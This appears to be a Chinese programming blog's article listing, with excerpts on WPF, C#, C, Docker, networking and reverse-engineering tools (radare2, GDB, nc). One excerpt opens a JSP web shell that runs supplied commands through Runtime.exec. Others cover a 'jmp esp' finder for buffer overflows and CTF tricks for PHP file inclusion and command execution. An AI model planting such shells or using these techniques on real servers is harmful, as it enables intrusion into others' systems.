- 博客(43)
- 资源 (1)
- 收藏
- 关注
原创 有关在编写安卓代码的时候使用全屏时的问题
前导前几天在写一个安卓的时候解决了一个问题,就是当安卓使用全屏的时候在代码中生成的app无法正常全屏的问题,问题在于窗体的代码中此处继承AppCompatActivity,所以导致代码中无法使用另类全屏或者其他窗口模式,具体这个问题的解决方案是直接将AppCompatActivity改为Activity即可解决上述问题。具体原因可参考AppCompatActivity类的作用,简单来说这个类默认处理不了除预设窗口模式外的其他窗口模式,所以才会导致报错。...
2022-01-20 21:34:02
2218
原创 c#接口和抽象类
一、抽象类:抽象类是特殊的类,只是不能被实例化;除此以外,具有类的其他特性;重要的是抽象类可以包括抽象方法,这是普通类所不能的。抽象方法只能声明于抽象类中,且不包含任何实现,派生类必须覆盖它们。另外,抽象类可以派生自一个抽象类,可以覆盖基类的抽象方法也可以不覆盖,如果不覆盖,则其派生类必须覆盖它们。二、接口:接口是引用类型的,类似于类,和抽象类的相似之处有三点:1、不能实例化;2、包含未实现的方法声明;3、派生类必须实现未实现的方法,抽象类是抽象方法,接口则是所有成员(不仅是方法包括其他成员);
2021-02-21 04:58:42
762
2
原创 在WPF中如何设定一个控件的样式-Button
内容简介在WPF中让用户灵活的设置界面UI已成为WPF的特色,通过在编辑xaml中相关代码使得一个原本黯然失色的空间元素变得绚丽多姿,更可以在界面中撰写犹如HTML一样的风格,表格式的界面编辑、预提供的动画类也使得界面动态化以及前台代码和后台代码分离撰写的快感。控件Button控件这是一个按钮,黯然失色,没有一点生机,下面看它的代码:<Button Width="100" Height="35" Content="按钮" />这是它的代码,一个标签,三个属性,是不是很像HT
2021-01-14 15:13:39
1202
原创 WPF中几种容器的区别
在WPF控件中提供了几种布局排放的容器,使得开发者在排放控件的时候更加的灵活,而不会依靠像winfrom应用程序一样拖放内容,winfrom在实现窗口大小变迁的时候往往需要在代码中实现窗口与控件的1:1。通过WPF中的容器控件则可将代码量大大减少。常见容器DockPanel(泊靠式面板)WrapPanel(环绕面板)Canvas(画布)StackPanel(栈式面板)Grid(网格面板)DockPanel在DockPanel可以对每个控件进行排列,这完全取决于您自己,如果有多个控件停靠.
2021-01-13 21:59:37
1569
1
原创 Windows XP debug工具的使用
简介Debug工具,是供程序员使用的调试工具,使用者可以用它检查内存中任何内存中的字节、修改任何地方内存地方的字节,他还可以逐指令的执行某个程序、验证程序运行的正确性、追踪执行过程、比较一个指令执行前后的值、比较与移动内存中数据的范围、读写文件与磁盘扇区。如果你使用的windows系统是32位的那么一般都会自带有debug调试工具, 而64位没有,需要自己进行安装。打开debug工具:运行——CMD——debug命令一览表:命令作用使用示例r查看和修改寄存器rr ax
2021-01-03 03:44:01
1471
原创 程序设计中的递归(C语言为例)
首先看一段代码:#include<stdio.h>int f(int n){ if (n == 0) return 0; else return f(n - 1) + n;}int main(){ printf("%d", f(5)); return 0;}在此程序中定义了一个函数f,此函数的作用呢是一个简单的判断,当n等于0的时候则返回0,如果不为0的时候呢则返回f(n - 1) + n。大部分人对递归难理解可能就是在于这里使用了一个函数,那就是自己。
2020-11-25 00:50:17
373
原创 docker的基础使用
docker run -i -t 容器名 /bin/bash 运行一个容器并进入到该容器的shell-i: 允许你对容器内的标准输入 (STDIN) 进行交互。-t: 在新容器内指定一个伪终端或终端。docker exec -i -t -d 容器name /bin/bash 在存在的容器运行一个容器并在后台进入到该容器的shell-i: 允许你对容器内的标准输入 (STDIN) 进行交互。-t: 在新容器内指定一个伪终端或终端。-d: 在后台执行docker search 镜像名 搜索
2020-10-12 16:53:09
226
原创 kali R2工具
使用r2加载一个程序r2 file使用aa或aaa深度分析程序使用imports查看当前程序函数定位main函数入口并反编译,相关命令:s main;pdf这里有个sym.vulnerable_function函数,使用pdf反汇编此函数在此处我们可以看到程序栈的分配情况,当然也可以通过定位到函数的位置使用afv专门查看函数中所使用的栈使用vv进入图形界面使用iz搜索程序中所有字符串通过alf分析函数表fs搜索程序标识分析程序rabin2 -I查看程序开启的防
2020-08-05 11:28:56
650
原创 WPF中DataGrid控件
看一下DataGrid的独特属性:AlternationCount:设置ItemControl中交替项的数据,可以理解为隔几行换色设置AutoGenerateColumns:是否自动生成列CanUserAddRows:是否允许添加新行CanUserDeleteRows:是否允许删除行CanUserReorderColumns:是否允许用户通过使用鼠标拖拽列标题,更改列的显示顺序CanUserResizeColumns:是否允许用户通过鼠标更改列的宽度CanUserResizeRows:是否允许
2020-07-29 19:15:40
818
原创 .NET core连接MSsql
下载必要的库打开安装相应的库接着就是一顿操作了跟大部分语言差不多,顺序就连接,查询,执行,返回,关闭。查询完毕!
2020-07-25 22:19:34
397
原创 使用C语言创建套接字及连接
两部分代码注释已全部给出,扩展的话也比较容易。上代码:服务端#define _WINSOCK_DEPRECATED_NO_WARNINGS#include <stdio.h>#include <winsock2.h>#pragma comment (lib, "ws2_32.lib") //加载 ws2_32.dllint main() { //初始化 DLL WSADATA wsaData; WSAStartup(MAKEWORD(2, 2
2020-07-23 13:04:15
1569
2
原创 学习PHP的一些伪协议(更新中)
给看一下环境代码:很简单的一个文件包含,看一下PHP中支持的伪协议的函数:include、require、include_once、require_once、highlight_file,show_source 、readfile 、file_get_contents 、fopen 、file……可以看出这函数在写的时候都可以通过输入相关的一些路径执行操作,我们常见的伪协议有:file:// 访问本地文件系统http:// 访问 HTTP(s) 网址ftp:// 访问 FTP(s) URL
2020-07-22 18:40:45
164
原创 使用数据模板做一个简单的LISTBOX
看一下页面文档<Window x:Class="WpfApp1_test.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/200
2020-07-22 14:36:17
259
原创 关于linuxPHP中可控字符任意命令执行的解题思路
首先审计一下代码当时在写环境的时候我把if语句里面打成了strlen($_GET[1]<7),然后测试了半天,一搞就是卧槽怎么能正常输出?!!!把代码给群里的水友看了一下卧槽写错了,汗- -。这道题将可以输入的字符控制在了6位,所以在我们正常输入的时候一次性无法使用一长串代码去查看flag文件。通过一段简短的代码可以看出flag文件就在网站根目录的上一层,现在要像个办法突破可控。不行……但是在学过linux命令的小伙伴都晓得,linux命令是可以使用"\"拼接的,所以试试这个方法为
2020-07-21 22:02:02
290
原创 分享一段用C语言获取系统jmp esp地址的代码
#include <windows.h>#include <stdio.h>void main(){ BYTE* ptr; int position, address; HINSTANCE handle; BOOL isOver = FALSE; handle = LoadLibrary(L"user32.dll"); if (!handle) { printf(" load dll erro !");
2020-07-20 23:51:14
484
原创 分享一段jsp小马
<% @ page language = "java" import = "java.util.*,java.io.*" pageEncoding = "UTF-8"%>< % !public static String excuteCmd(String c){ StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader
2020-07-20 20:55:37
3656
原创 C/C++中动态分配内存(堆)
两个例子://C语言int intMalloc(){ int *p; p=(int *)malloc(sizeof(int)*10);//动态分配p内存10个整形大小 //p=calloc(5,sizeof(int)); *(p+1)=1;//给内存地址一个值 for (size_t i = 0; i < 10; i++) { printf("%d\n",*(p+i)); } return 0;}//C++
2020-07-20 20:22:33
127
原创 在kali安装pwngdb
安装git clone https://github.com/pwndbg/pwndbgcd pwndbg./setup.sh运行gdbtui其次就是gdb的peda插件git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py">> ~/.gdbinit
2020-07-20 14:50:29
2309
原创 关于C语言几个操作内存的函数(此文章会被更新)
1.ssize_t write(int fd,const void*buf,size_t count);用于将数据写入到文件描述符对应的文件参数介绍:fd是文件描述符(输出到command line,就是1)buf:通常是一个字符串,需要写入的字符串count:是每次写入的字节数返回值:成功:返回写入的字节数 失败:返回-1并设置errno ps: 写常规文件时,write的返回值通常等于请求写的字节数count,而向终端设备或者网络写时则不一定示例代码write(1,"Hell
2020-07-19 20:36:27
496
原创 程序栈
介绍栈是一个遵守先进后出的数据结构,栈的设计让程序设计变得很灵活,其操作主要有压栈(push)与出栈(pop)两种操作所以栈有栈顶和栈底,在我们高级语言程序设计的时,代码最终都会被转换成汇编,在这个过程中就充分的利用到了栈这一数据结构。每个程序运行的时候都会分配一些虚拟空间,其中有一段空间就是用于存放程序对应的栈,用于保存程序中的局部变量和函数的调用信息。...
2020-07-18 20:36:43
730
原创 2020年7月16号晚上在写一套通讯程序时遇到的问题
前言在昨天晚上,我们老师测试了我一个脑力活,写了一套客户端与服务器连接的小程序,当时给的时候我觉得挺简单的,果断对这个项目就是开始操作,在开始的时候遇到的问题基本没有的,但是整套程序快要完结的时候,遇上事了。就一个小小的误区让我弄到深夜两点。错误的代码首先两段代码创建套接字时是完全没有问题的 /// <summary> /// 创建套接字 /// </summary> public void ListenTCPst
2020-07-17 13:57:35
158
原创 WPF数据绑定
数据绑定在winform程序开发的时候,常常需要通过代码给动态的设置值,这样复杂了代码的可读性,大大的提高了代码的量,在wpf中为了解决这方面问题,它支持数据绑定,可以通过xaml直接将两个控件进行绑定,大大的减少了后端代码的需求。看图识代码这里通过两个控件来简单介绍一下数据绑定的作用现在有Slider和Label分别有一个,我要通过label实时监测Slider的滑块位置,现在如果我们通过后台代码实现呢也很简单,这里我就略过了,现在要通过数据绑定的方式实现label能够与滑块的位置同步,看操作
2020-07-16 19:57:05
229
原创 WPF绑定数据模板
首先来看一波成品图上面我们的ComboBox里可以选择颜色,直接拖出来的话是不可以的,下面直接看代码吧:在这我定义了一个数据模板,并且数据源都是通过代码获得,接着就是给控件绑定:设置了一个Item模板,然后就是代码那边在这里我通过了点击按钮的方式向ComboBox绑定了数据源,需要创建一个实体类,然后想里面写出绑定的代码。code就是前面binding 后面的那个。...
2020-07-16 13:20:36
468
原创 WPF绑定控件模板
代码中我使用了ControlTemplate定义了一个按钮的控件模板,主要在里面绘制了一个图片以及文本内容,接着绑定上按钮。在下面使用Template属性即可绑定上去。
2020-07-16 12:47:37
397
原创 C语言指针的简单应用
指针是什么指针在C/C++语言中是一个重要的概念,他指向了一段内存空间的地址,而指针占用的内存空间是相同的,他仅仅将自己保存了一个内存地址。解决问题在平常写程序的时候都离不开函数的相互调用,如果在调用的时候我们直接参数设置为我们的变量,这将会新开辟一段内存空间,而这样是不行的,因为一个数据在内存里重复放几遍,这样就会占用空间,导致程序运行不顺畅。如果我们在main函数中定义了一个变量,char c[]=“Hello”,当我们要将c传给其他函数是如果直接将c传过去则其他函数就会重新分配一段空间,这样如果
2020-07-15 20:23:10
582
原创 使用委托让窗口之间互相传值
在我们平常窗口编程中,如果碰到一些窗口的信息交互的时候,这个时候往往需要用到委托来相互交流消息,触发事件,下面通过一个简单的窗口触发另一个窗口的事件来触发委托。看到我的两个窗口现在我需要用过Windows窗口将mainwindow的标题改掉。MainWindow fr = new MainWindow();fr.Title = "成功";这种方法肯定是行不通的,这是创建了一个对象,修改的属性都被添加到新的对象上去了。下面用委托的方式修改父窗口标题,先看看父窗口代码:using Syste
2020-07-15 10:06:34
338
原创 WPF触发器(Trigger)
看一段代码:在这个实例中呢定义了一个"简单的触发器"(Trigger),其作用呢是"IsMouseOver"意思就当鼠标进入的发生事件,这里面就是将按钮的字体颜色设置成白色。对应的既然提到了"简单的触发器",相对应肯定也有别的触发器:可以看到这张图里面是触发器的都是以trigger结尾下面简单介绍这几个触发器的作用第一个触发器就是简单的触发器,也叫做属性触发器,在开始的例子中提到过。第二个"DataTrigger"为数据触发器,他呢经常被用在做数据验证时用来显示验证错误信息。“MultiT
2020-07-14 23:42:45
2169
原创 C#简单的委托
简单的委托namespace test_1{ delegate int NUMADD(int n); class Program { static int num = 10; static void Main(string[] args) { NUMADD dg1 = new NUMADD(addNum); dg1(30); Console.WriteLine(
2020-07-14 13:08:03
88
原创 WPF动态修改控件样式
首先看一下窗口的xaml文档<Window x:Class="WpfApp1_test.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/bl
2020-07-13 22:46:53
1916
原创 WPF中使用外部资源字典
首先看看我们文件树结构,其中外部资源字典在Style中即可创建一个新的资源字典然后再看看我Button_Style.xaml里面写的代码再这里我创建之后什么都没改就加了3行代码<Style x:Key="Button_Style" TargetType="{x:Type Button}"> <Setter Property="Background" Value="#FFFFFF"/></Style>这三行代码就是将按钮的背景颜色设置成白色之.
2020-07-13 22:05:48
744
原创 C#读取网页源码
需要用到的库using System.Net;using System.Text;上代码static string GetWebClient(string url){ string strHTML = ""; WebClient myWebClient = new WebClient();//创建对象,实例化WebClient Stream myStream = myWebClient.OpenRead(url);//存储流字节 StreamReader sr = new StreamR
2020-07-12 16:29:50
253
1
原创 汇编语言基础知识
首先介绍一下汇编语言的组成汇编指令(机器码的助记符)伪指令(由编译器执行)其他符号(由编译器识别)汇编语言的核心是汇编指令,他决定了汇编语言的特性机器指令与汇编指令一一对应机械指令:1000100111011000操作:寄存器BX的内容传送到AX中汇编指令:MOV AX,BX这样的写法便于人们的记忆汇编语言执行过程:存储器先来说说CPU,中央处理器(CPU,central processing unit)作为计算机系统的运算和控制核心,是信息处理、程序运行的最终执行单
2020-07-11 17:39:11
248
原创 CSS自适应铺满浏览器全屏布局
分享一个HTML中的布局样式代码:<!DOCTYPE html><html> <head> <title>CSS自适应布局</title> <style> :root{ --topHeight:60px; --leftBox:300px } .topbar
2020-07-11 09:50:44
1210
原创 GDB命令
命令缩写简述使用listl显示多行源代码(list 1,10)显示1到10行代码breakb设置断点,程序运行到断点的位置会停下来并显示CPU内存的调用信息(b printf)让执行到printf处打断运行infoi描述程序的状态(info function)显示程序所有函数及对应的地址,还可以显示更多,单独输入info可查看具体聂荣runr开始运行程序(run)开始运行程序,跟普通运行一样的结果displayd跟踪查看某个变量,每...
2020-07-10 21:16:20
191
原创 Kali使用gcc编译32位的程序
上代码sudo apt-get install lib32readline-dev等待安装完毕,然后再执行gcc -m32 test.c即可生成一个32位的执行程序
2020-07-10 17:14:16
957
原创 Linux下使用NC工具
前言nc(netcat)是Linux实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。他的使用方法建议易懂,因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。参数1. -l #用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。2. -p #设置本地主机使用的通信端口。3. -s #指定发送数据的源IP地址,适用于多网卡机。4. -u #使用UDP传输协议,默认为TCP。5. -v
2020-07-10 09:10:55
489
原创 关于CSS使用自定义属性(声明变量)及运算
前言在CSS文档中有时候会多出用到重复的值,使得在前端开发的时候变得繁杂,如果在做一个大型的项目来说,这不得累死。所以css此文档简单写出有关声明自定义属性,使用自定义属性,简单来说,这种效果和常用编程语言来说是差不多的正文自定义属性是一种css变量,使用过自定义属性之后可以供整个文档使用这个定义的值。用法在CSS中声明一个自定义属性由"–"(两个减号)开始.div{ --color:#FF0000; background:var(--color);}在以上例子中我们使用- -开始定义
2020-07-09 22:12:52
1009
原创 OSPF基础
简介OSPF(Open Shortest Path First开放式最短路径优先)是一个内部网关协议(Interior Gateway Protocol,简称IGP),用于在单一自治系统(autonomous system,AS)内决策路由。是对链路状态路由协议的一种实现,隶属内部网关协议(IGP),故运作于自治系统内部。著名的迪克斯加算法被用来计算最短路径树。OSPF支持负载均衡和基于服务类型的选路,也支持多种路由形式,如特定主机路由和子网路由等。详细----百度百科命令介绍(华为)对于区域路由
2020-07-06 18:07:57
188
原创 Linux搭建DNS域名解析服务器(CentOS8)
关于域名服务器域名系统(服务)协议(DNS)是一种分布式网络目录服务,主要用于域名与 IP 地址的相互转换。下载相关工具这里还是用比较广泛的dns服务器软件bind,有关软件说明可自行百度。yum install bind*systemctl start named.service // 启动服务(自选)systemctl enable named // 设为开机启动(自选)BIND支持先今绝大多数的操作系统(Linux,UNIX,Mac,Windows)BIND服务的名称称之为n
2020-07-05 21:15:09
2796
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人